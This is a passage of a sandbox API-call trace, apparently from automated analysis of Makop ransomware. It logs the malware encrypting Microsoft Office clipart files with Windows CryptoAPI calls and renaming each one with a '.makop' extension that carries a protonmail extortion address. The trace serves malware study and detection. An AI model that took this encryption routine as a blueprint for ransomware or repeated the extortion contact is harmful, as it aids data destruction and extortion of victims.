lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.078] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.078] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1100c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1100c, lpOverlapped=0x0) returned 1 [0133.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11010, dwBufLen=0x11010 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11010) returned 1 [0133.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11010, lpOverlapped=0x0) returned 1 [0133.083] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x110e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.083] SetEndOfFile (hFile=0xf0) returned 1 [0133.091] GetProcessHeap () returned 0x48a0000 [0133.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.091] GetProcessHeap () returned 0x48a0000 [0133.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.092] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.093] CloseHandle (hObject=0xf0) returned 1 [0133.095] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0133.095] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF") returned 63 [0133.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.097] GetProcessHeap () returned 0x48a0000 [0133.097] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.098] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0133.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.102] GetProcessHeap () returned 0x48a0000 [0133.102] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.102] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.103] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.103] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.104] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xae2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xae2, lpOverlapped=0x0) returned 1 [0133.104] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0) returned 1 [0133.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaf0, lpOverlapped=0x0) returned 1 [0133.104] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.104] SetEndOfFile (hFile=0xf0) returned 1 [0133.111] GetProcessHeap () returned 0x48a0000 [0133.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.112] GetProcessHeap () returned 0x48a0000 [0133.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.113] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.114] CloseHandle (hObject=0xf0) returned 1 [0133.114] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0133.115] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF") returned 63 [0133.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.116] GetProcessHeap () returned 0x48a0000 [0133.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.116] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0133.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.132] GetProcessHeap () returned 0x48a0000 [0133.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.132] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.133] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.134] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf56, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf56, lpOverlapped=0x0) returned 1 [0133.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60, dwBufLen=0xf60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60) returned 1 [0133.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf60, lpOverlapped=0x0) returned 1 [0133.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.134] SetEndOfFile (hFile=0xf0) returned 1 [0133.143] GetProcessHeap () returned 0x48a0000 [0133.143] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.143] GetProcessHeap () returned 0x48a0000 [0133.143] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.143] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.145] CloseHandle (hObject=0xf0) returned 1 [0133.145] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0133.145] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF") returned 63 [0133.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.146] GetProcessHeap () returned 0x48a0000 [0133.146] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.146] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0133.151] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.151] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.151] GetProcessHeap () returned 0x48a0000 [0133.151] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.152] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.152] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.153] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf6a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf6a, lpOverlapped=0x0) returned 1 [0133.153] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf70, dwBufLen=0xf70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf70) returned 1 [0133.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf70, lpOverlapped=0x0) returned 1 [0133.154] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.154] SetEndOfFile (hFile=0xf0) returned 1 [0133.161] GetProcessHeap () returned 0x48a0000 [0133.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.161] GetProcessHeap () returned 0x48a0000 [0133.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.161] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.164] CloseHandle (hObject=0xf0) returned 1 [0133.165] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0133.165] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF") returned 63 [0133.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.167] GetProcessHeap () returned 0x48a0000 [0133.167] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.167] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.168] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.168] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.168] GetProcessHeap () returned 0x48a0000 [0133.168] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.168] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.168] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.168] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.173] WriteFile (in: hFile=0xf0, 